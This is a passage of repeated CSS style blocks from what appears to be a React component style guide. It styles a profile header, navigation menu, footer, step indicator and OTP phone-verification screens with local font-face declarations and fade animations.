@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.header-profile {
--padding-small-desktop: 0 5%;
--padding-desktop: 0 9%; }
@media (min-width: 992px) and (max-width: 1200px) {
.header-profile {
padding: var(--padding-small-desktop); } }
.header-profile-container {
border-top: 1px solid #d9d5d5;
border-bottom: 1px solid #d9d5d5;
display: flex;
justify-content: center; }
.header-profile {
display: flex;
flex-direction: row;
font-family: GothamRounded-Medium;
white-space: nowrap;
font-size: 16px;
color: #9c9292;
width: 1128px; }
.header-profile .header-profile__left {
display: flex;
justify-self: flex-start;
flex: 1 1 30%;
align-items: center;
padding: 20px 0; }
.header-profile .header-profile__right {
display: flex;
justify-self: flex-end;
flex: 1 1 70%;
align-items: stretch;
justify-content: flex-end;
padding: 20px 0; }
.header-profile .header-profile__right .header-profile__name {
display: flex;
flex-direction: row;
align-items: center;
border-right: solid 1px #d9d5d5;
padding: 0 20px;
font-size: 18px; }
.header-profile .header-profile__right .header-profile__name .header-profile__name-text {
padding-right: 5px;
padding-left: 10px; }
.header-profile .header-profile__right .header-profile__name .header-profile__name--dark-gray {
color: #575151; }
.header-profile .header-profile__right .header-profile__points {
display: flex;
flex-direction: row;
align-items: center;
font-size: 16px;
padding: 0 20px;
border-right: solid 2px #d9d5d5; }
.header-profile .header-profile__right .header-profile__points .header-profile__points--orange {
font-size: 38px;
color: #FA6400;
padding-right: 10px; }
.header-profile .header-profile__right .header-profile__points .header-profile__points--text a {
font-family: GothamRounded-Book;
color: inherit;
text-decoration: none; }
.header-profile .header-profile__right .header-profile__points .header-profile__points--text a:hover {
color: #FA6400; }
.header-profile .header-profile__right .header-profile__data {
display: flex;
padding: 0 20px;
border-right: solid 1px #d9d5d5;
white-space: nowrap; }
.header-profile .header-profile__right .header-profile__data .header-profile__data-link {
align-self: center; }
.header-profile .header-profile__right .header-profile__data .header-profile__data-link a {
text-decoration: none;
color: inherit; }
.header-profile .header-profile__right .header-profile__data .header-profile__data-link a:hover {
color: #FA6400; }
.header-profile .header-profile__right .header-profile__close {
display: flex;
padding: 0 0 0 20px;
white-space: nowrap; }
.header-profile .header-profile__right .header-profile__close .header-profile__close-link {
align-self: center; }
.header-profile .header-profile__right .header-profile__close .header-profile__close-link:hover a {
color: #C96624; }
.header-profile .header-profile__right .header-profile__close .header-profile__close-link:hover img {
filter: invert(51%) sepia(72%) saturate(1350%) hue-rotate(345deg) brightness(82%) contrast(90%); }
.header-profile .header-profile__right .header-profile__close .header-profile__close-link a {
color: #FA6400;
cursor: pointer; }
.header-profile .header-profile__right .header-profile__close .header-profile__close-link a img {
padding-left: 10px; }
@media (max-width: 992px) {
.header-profile {
display: none; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.header__hamburger {
display: none; }
@media (max-width: 992px) {
.header__hamburger {
display: flex;
padding: 20px;
align-items: center;
cursor: pointer; }
.header__hamburger .header-mobile__hamburger, .header__hamburger .header-mobile__user {
display: flex;
margin: 0 5%; }
.header__hamburger .header-mobile__hamburger {
font-size: 34px;
color: #9c9292; }
.header__hamburger .header__left {
display: flex;
flex: 1 1 30%;
align-items: center; }
.header__hamburger .header__left a {
display: flex; }
.header__hamburger .header__left a img {
justify-self: center; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.header-menu-container {
display: flex;
justify-content: center; }
.header-menu-container .nav {
width: 1128px; }
@media (min-width: 992px) and (max-width: 1200px) {
.nav .nav__menu {
padding: var(--padding-small-desktop); } }
@media (min-width: 1200px) {
.nav .nav__menu {
padding: var(--padding-desktop); } }
.nav .nav__menu {
font-family: GothamRounded-Medium;
font-size: 13px;
color: #9c9292;
background-color: #FFFFFF;
justify-content: center;
text-transform: uppercase;
display: flex;
z-index: 999;
list-style-type: none; }
.nav .nav__menu .nav__menu-item {
z-index: 999;
justify-content: center;
letter-spacing: -0.09px; }
.nav .nav__menu .nav__menu-item a {
cursor: pointer;
text-decoration: none;
color: inherit; }
.nav .nav__menu .nav__menu-item a:visited {
color: #9c9292; }
.nav .nav__menu .nav__menu-item a:hover {
color: #FA6400; }
.nav .nav__menu .nav__menu-item .nav__submenu {
flex-direction: column;
font-family: GothamRounded-Book; }
.nav .nav__menu .nav__menu-item .nav__submenu a {
cursor: pointer;
text-decoration: none; }
.nav .nav__menu .nav__menu-item .nav__submenu a:visited {
color: #9c9292; }
.nav .nav__menu .nav__menu-item .nav__submenu a:hover {
color: #FA6400; }
@media (min-width: 992px) {
.nav .nav__close {
display: none; }
.nav .nav__menu {
align-items: center;
justify-content: space-between; }
.nav .nav__menu .nav__menu-item {
text-align: center;
position: relative;
white-space: nowrap;
display: flex;
height: 42px;
align-items: center; }
.nav .nav__menu .nav__menu-item:hover .nav__submenu {
border: 1px solid #d9d5d5;
border-top: none;
border-radius: 0 0 15px 15px;
padding: 20px 30px;
background-color: #FFFFFF;
z-index: 998; }
.nav .nav__menu .nav__menu-item:hover .nav__submenu > li {
display: block;
flex-direction: column;
top: 0; }
.nav .nav__menu .nav__menu-item ul {
list-style: none;
display: flex;
top: 42px; }
.nav .nav__menu .nav__menu-item .nav__submenu {
position: absolute;
min-width: 100%;
text-align: left; }
.nav .nav__menu .nav__menu-item .nav__submenu .nav__submenu-item {
display: none;
position: relative;
padding: 10px 0; }
.nav .nav__menu .nav__menu-item .nav__submenu .nav__submenu-item:hover {
display: flex; }
.nav .nav__close-link {
display: none; } }
@media (max-width: 992px) {
.header-menu-container .nav {
position: fixed;
width: 77%;
top: 0;
background-color: #FFFFFF;
transition: right .3s;
z-index: 1000;
right: -100%;
height: 100%;
flex-direction: column;
overflow: hidden;
overflow-y: auto;
box-shadow: 0 0 36px 0 rgba(0, 0, 0, 0.1); }
.header-menu-container .nav.nav--open {
right: 0; }
.header-menu-container .nav.nav--close {
right: -100%; }
.header-menu-container .nav .nav__close {
padding: 7%;
float: right;
cursor: pointer; }
.header-menu-container .nav .nav__menu {
border-top: solid 1px #d9d5d5;
border-bottom: solid 1px #d9d5d5;
width: 100%;
padding: 2% 3% 2% 7%;
flex-direction: column; }
.header-menu-container .nav .nav__menu .nav__menu-item {
margin: 10px 0; }
.header-menu-container .nav .nav__menu .nav__menu-item .nav__submenu {
list-style-type: none; }
.header-menu-container .nav .nav__menu .nav__menu-item .nav__submenu.nav__submenu--open {
opacity: 1;
height: auto;
transition: max-height 0.5s ease-in, opacity 0.5s ease-in;
max-height: 600px; }
.header-menu-container .nav .nav__menu .nav__menu-item .nav__submenu.nav__submenu--close {
opacity: 0;
overflow: hidden;
max-height: 0;
transition: max-height 0.3s ease-out, opacity 2s ease-out; }
.header-menu-container .nav .nav__menu .nav__menu-item .nav__submenu .nav__submenu-item {
margin: 10px 0 10px 10px;
font-size: 12px;
padding: .5% 0; }
.header-menu-container .nav .nav__menu .nav__menu-item .nav__submenu .nav__submenu-item:first-child {
margin-top: 25px; }
.header-menu-container .nav .nav__close-link {
display: flex;
padding: 20px;
align-items: center;
font-family: GothamRounded-Medium;
font-size: 13px;
text-transform: uppercase; }
.header-menu-container .nav .nav__close-link a {
color: #FA6400;
cursor: pointer; }
.header-menu-container .nav .nav__close-link a img {
padding-left: 10px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.header .separator-gradient {
height: 5px;
background-image: linear-gradient(to right, #ff7400, #c90082 50%, #0063aa); }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.footer {
--padding-small-desktop: 0 5%;
--padding-mobile: 0 5%; }
@media (max-width: 1128px) {
.footer .footer__container {
padding: var(--padding-mobile); } }
@media (min-width: 992px) and (max-width: 1128px) {
.footer .footer__container {
padding: var(--padding-small-desktop); } }
@media (min-width: 1128px) {
.footer .footer__container {
padding: var(--padding-desktop); } }
.footer {
border-top: 1px solid #d9d5d5; }
.footer .footer__container {
width: 1124px;
margin: 0 auto;
display: flex;
justify-content: center;
list-style: none;
font-family: GothamRounded-Book;
color: #9c9292; }
.footer .footer__container .footer__social {
display: flex;
align-items: center;
flex: 0 0 33%;
white-space: nowrap; }
.footer .footer__container .footer__social:hover {
color: #FA6400; }
.footer .footer__container .footer__social:hover img:hover {
filter: invert(46%) sepia(52%) saturate(4025%) hue-rotate(2deg) brightness(99%) contrast(102%); }
.footer .footer__container .footer__social .social__link {
display: flex;
flex-grow: 1; }
.footer .footer__container .footer__social .social--font {
font-size: 18px;
margin-right: 15px; }
.footer .footer__container .footer__social .social--bold {
font-family: GothamRounded-Medium; }
.footer .footer__container .footer__social .social__img {
width: 44px;
height: 44px;
object-fit: contain;
background-size: contain;
margin: 0 10px;
background-repeat: no-repeat; }
.footer .footer__container .footer__emergency {
display: flex;
flex: 0 0 27%;
white-space: nowrap; }
.footer .footer__container .footer__emergency:hover {
color: #FA6400; }
.footer .footer__container .footer__emergency:hover .emergency__icon > img {
filter: invert(46%) sepia(52%) saturate(4025%) hue-rotate(2deg) brightness(99%) contrast(102%); }
.footer .footer__container .footer__emergency .emergency__detail {
display: flex;
flex-flow: column wrap; }
.footer .footer__container .footer__emergency .emergency__detail .emergency__phone--font {
font-size: 31px;
text-decoration: none;
color: inherit; }
.footer .footer__container .footer__call-service {
display: flex;
flex-flow: column wrap;
flex: 0 0 25%;
white-space: nowrap; }
.footer .footer__container .footer__call-service:hover {
color: #FA6400; }
.footer .footer__container .footer__call-service .call-service--font {
font-size: 18px; }
.footer .footer__container .footer__call-service .call-service__phone--font {
font-size: 31px;
text-decoration: none;
color: inherit; }
@media (min-width: 992px) {
.footer .footer__container {
justify-content: space-between;
padding-top: 30px;
padding-bottom: 30px; }
.footer .footer__container .footer__social {
flex-flow: row nowrap; }
.footer .footer__container .footer__call-service {
justify-content: center; }
.footer .footer__container .footer__emergency {
justify-content: flex-end; }
.footer .footer__container .footer__emergency .emergency__icon {
margin: 0 20px 0 0;
width: auto;
height: 44px; }
.footer .footer__container .footer__emergency .emergency--font {
font-size: 18px; } }
@media (max-width: 992px) {
.footer {
font-size: 18px;
text-align: center; }
.footer .footer__container {
width: 100%;
flex-flow: column wrap; }
.footer .footer__container .footer__social {
flex-flow: column wrap;
padding: 1.33333rem 0; }
.footer .footer__container .footer__social .social__link {
padding-top: 0.3rem; }
.footer .footer__container .footer__call-service {
border-top: solid 1px #d9d5d5;
border-bottom: solid 1px #d9d5d5;
padding: 1.33333rem 0;
align-items: center; }
.footer .footer__container .footer__call-service .call-service__phone--font {
font-size: 28px;
padding-top: 0.3rem; }
.footer .footer__container .footer__emergency {
justify-content: center;
padding: 1.33333rem 0; }
.footer .footer__container .footer__emergency .emergency__detail .emergency__phone--font {
padding-top: 0.3rem;
font-size: 28px; }
.footer .footer__container .footer__emergency .emergency__icon {
margin: 0 5px 0 5px; }
.footer .footer__container .footer__emergency .emergency__icon > .emergency__img {
height: 23px;
width: 23px;
vertical-align: top; } }
@media (max-width: 320px) {
.footer .footer__container .footer__social .social--font,
.footer .footer__container .footer__call-service .call-service--font,
.footer .footer__container .footer__emergency .emergency__detail, emergency--font {
font-size: 16px; } }
.footer__separator {
border-right: #d9d5d5 1px solid;
margin: 0 5px; }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.steps .steps__container {
display: flex;
justify-content: space-between;
counter-reset: step; }
.steps .steps__container .steps__item {
list-style-type: none;
width: 100%;
display: inline-flex;
align-items: center;
position: relative; }
.steps .steps__container .steps__item:last-child {
width: 40px; }
.steps .steps__container .steps__item .step__circle {
width: 40px;
height: 40px;
border-radius: 20px;
border: 2px solid #F4F4F4;
flex-shrink: 0;
background-color: #FFFFFF;
color: #9c9292;
font-size: 18px;
font-family: GothamRounded-Medium;
z-index: 1;
display: flex;
align-items: center;
justify-content: center; }
.steps .steps__container .steps__item .step__circle:before {
content: counter(step);
counter-increment: step; }
.steps .steps__container .steps__item .step__bar {
height: 20px;
background-color: #F4F4F4;
width: 100%;
left: 20px;
position: absolute; }
.steps .steps__container .steps__item:last-child .step__bar {
display: none; }
.steps.steps--orange .steps__container .steps__item.step__item--before .step__circle {
background-color: #FA6400;
border: 2px solid #FA6400;
color: #FFFFFF; }
.steps.steps--orange .steps__container .steps__item.step__item--before .step__bar {
background-color: #EECEAA; }
.steps.steps--orange .steps__container .steps__item.step__item--active .step__circle {
border: 2px solid #FA6400;
color: #FA6400; }
.steps.steps--violet .steps__container .steps__item.step__item--before .step__circle {
background-color: #9E0076;
border: 2px solid #9E0076;
color: #FFFFFF; }
.steps.steps--violet .steps__container .steps__item.step__item--before .step__bar {
background-color: #dbabce; }
.steps.steps--violet .steps__container .steps__item.step__item--active .step__circle {
border: 2px solid #9E0076;
color: #9E0076; }
.steps.steps--paris .steps__container .steps__item.step__item--before .step__circle {
background-color: #009ce0;
border: 2px solid #009ce0;
color: #FFFFFF; }
.steps.steps--paris .steps__container .steps__item.step__item--before .step__bar {
background-color: rgba(0, 156, 224, 0.2); }
.steps.steps--paris .steps__container .steps__item.step__item--active .step__circle {
border: 2px solid #009ce0;
color: #009ce0; }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.otp-enter-code {
text-align: center;
align-content: center;
display: grid;
flex-direction: column;
align-items: center;
margin: 30px 20px; }
.otp-enter-code .otp-enter-code__header .header__title {
font-family: GothamRounded-Medium;
font-size: 28px;
color: #000000;
margin-bottom: 20px; }
.otp-enter-code .otp-enter-code__header .header__subtitle {
font-family: GothamRounded-Book;
text-align: left;
color: #575151;
margin-bottom: 20px; }
.otp-enter-code .otp-enter-code__header .header__subtitle .subtitle__phone-number {
font-family: GothamRounded-Bold; }
.otp-enter-code .otp-enter-code__header .header__alert-error {
height: 0;
overflow: hidden;
-webkit-animation: fadein 1s 1s;
-moz-animation: fadein 1s 1s;
-ms-animation: fadein 1s 1s;
-o-animation: fadein 1s 1s;
animation: fadein 1s 1s;
-webkit-transition: height .2s linear;
-moz-transition: height .2s linear;
-ms-transition: height .2s linear;
-o-transition: height .2s linear;
transition: height .2s linear; }
.otp-enter-code .otp-enter-code__header .header__alert-error.visible {
height: 120px; }
.otp-enter-code .otp-enter-code__header .header__alert-code {
height: 0;
overflow: hidden;
-webkit-animation: fadein 1s 1s;
-moz-animation: fadein 1s 1s;
-ms-animation: fadein 1s 1s;
-o-animation: fadein 1s 1s;
animation: fadein 1s 1s;
-webkit-transition: height .2s linear;
-moz-transition: height .2s linear;
-ms-transition: height .2s linear;
-o-transition: height .2s linear;
transition: height .2s linear; }
.otp-enter-code .otp-enter-code__header .header__alert-code.visible {
height: 180px; }
.otp-enter-code .otp-enter-code__header .header__alert-code.visible:empty {
height: 0; }
.otp-enter-code .otp-enter-code__header .alert {
padding: 20px;
margin: 20px; }
.otp-enter-code .otp-enter-code__header .alert.alert--warning {
text-align: center; }
.otp-enter-code .otp-enter-code__body {
display: flex; }
.otp-enter-code .otp-enter-code__body .body__button {
width: 184px;
height: 60px; }
.otp-enter-code .otp-enter-code__body .input__component {
width: 53px;
height: 53px;
border-radius: 10px;
border: solid 1px #9c9292;
background-color: #FFFFFF;
font-family: GothamRounded-Medium;
font-size: 22px;
margin-right: 10px;
outline: none;
text-align: center;
align-content: center;
color: #9c9292;
display: inline-block; }
.otp-enter-code .otp-enter-code__body .input__component input:focus {
outline: none; }
.otp-enter-code .otp-enter-code__actions {
margin-top: 40px; }
.otp-enter-code .otp-enter-code__actions button {
width: 310px; }
.otp-enter-code .otp-enter-code__footer {
font-family: GothamRounded-Book;
color: #9c9292;
display: flex;
flex-wrap: wrap;
justify-content: space-evenly;
align-items: baseline; }
.otp-enter-code .otp-enter-code__footer .footer__text {
margin-top: 30px; }
.otp-enter-code .otp-enter-code__footer .footer__link {
margin-top: 30px;
color: #FA6400;
text-decoration: underline #FA6400;
cursor: pointer; }
.otp-enter-code .otp-enter-code__footer .footer__timer {
width: 70px;
height: 36px;
font-size: 16px;
font-family: GothamRounded-Medium;
border-radius: 10px;
border: solid 1px #d9d5d5;
text-align: center;
color: #575151;
padding: 7px 7px;
margin-left: 10px; }
@media (max-width: 992px) {
.otp-enter-code {
max-width: 374px;
max-height: 545px;
display: flex; }
.otp-enter-code .otp-enter-code__header .header__title {
text-align: left; }
.otp-enter-code .otp-enter-code__body {
display: flex;
flex-wrap: wrap;
justify-content: space-around; }
.otp-enter-code .otp-enter-code__body .input__component {
flex: 0 0 18%;
margin-top: 20px; }
.otp-enter-code .otp-enter-code__footer {
display: flex;
flex-wrap: wrap;
justify-content: space-around; }
.otp-enter-code .otp-enter-code__footer .footer__timer {
margin-top: 10px; }
.otp-enter-code__actions {
display: flex;
flex-direction: column-reverse;
width: 100%; }
.otp-enter-code__actions :first-child:not(:only-child) {
margin-top: 20px;
margin-right: 0px; } }
@media (min-width: 992px) {
.otp-enter-code {
max-width: 554px;
max-height: 395px;
display: grid; }
.otp-enter-code .otp-enter-code__body {
display: inline-flex; }
.otp-enter-code .otp-enter-code__actions :first-child:not(:only-child) {
margin-right: 20px; }
.otp-enter-code .otp-enter-code__actions > .button--large {
padding: 16px;
width: 236px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.otp-validate-phone {
text-align: center;
align-content: center;
width: 554px; }
.otp-validate-phone .header__title {
font-family: GothamRounded-Medium;
font-size: 28px;
color: #000000;
margin-bottom: 20px;
line-height: 28px; }
.otp-validate-phone .card-box {
padding: 40px 30px 30px 30px; }
.otp-validate-phone .otp-validate-phone__body {
display: block; }
.otp-validate-phone .otp-validate-phone__body .body__title {
font-size: 22px;
color: #575151;
margin-bottom: 20px;
line-height: 22px; }
.otp-validate-phone .otp-validate-phone__body .body__phone {
font-size: 38px;
color: #575151;
display: inline-block;
line-height: 38px; }
.otp-validate-phone .otp-validate-phone__footer .otp-enter-code__actions {
margin-top: 40px; }
.otp-validate-phone .otp-validate-phone__footer button {
padding: 20px 16px;
font-size: 18px;
line-height: 22px;
font-family: GothamRounded-Medium; }
.otp-validate-phone .otp-validate-phone__footer button:first-child {
margin-right: 20px; }
.otp-validate-phone .otp-validate-phone__footer .footer__legar {
margin-top: 20px;
display: inline-block;
font-size: 12px;
text-align: center;
color: #9c9292;
line-height: 17px; }
@media (max-width: 992px) {
.otp-validate-phone {
width: 100%; }
.otp-validate-phone .header__title {
text-align: center;
line-height: 33px; }
.otp-validate-phone .card-box {
padding: 40px 20px 20px 20px; }
.otp-validate-phone .otp-validate-phone__body .body__title {
font-size: 18px;
margin-bottom: 20px;
line-height: 18px; }
.otp-validate-phone .otp-validate-phone__body .body__phone {
font-size: 28px;
line-height: 28px; }
.otp-validate-phone .otp-validate-phone__footer button {
width: 100%;
padding-left: 20px;
padding-right: 20px; } }
@media (max-width: 374px) {
.otp-validate-phone .otp-validate-phone__body .body__title {
line-height: 23px !important; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
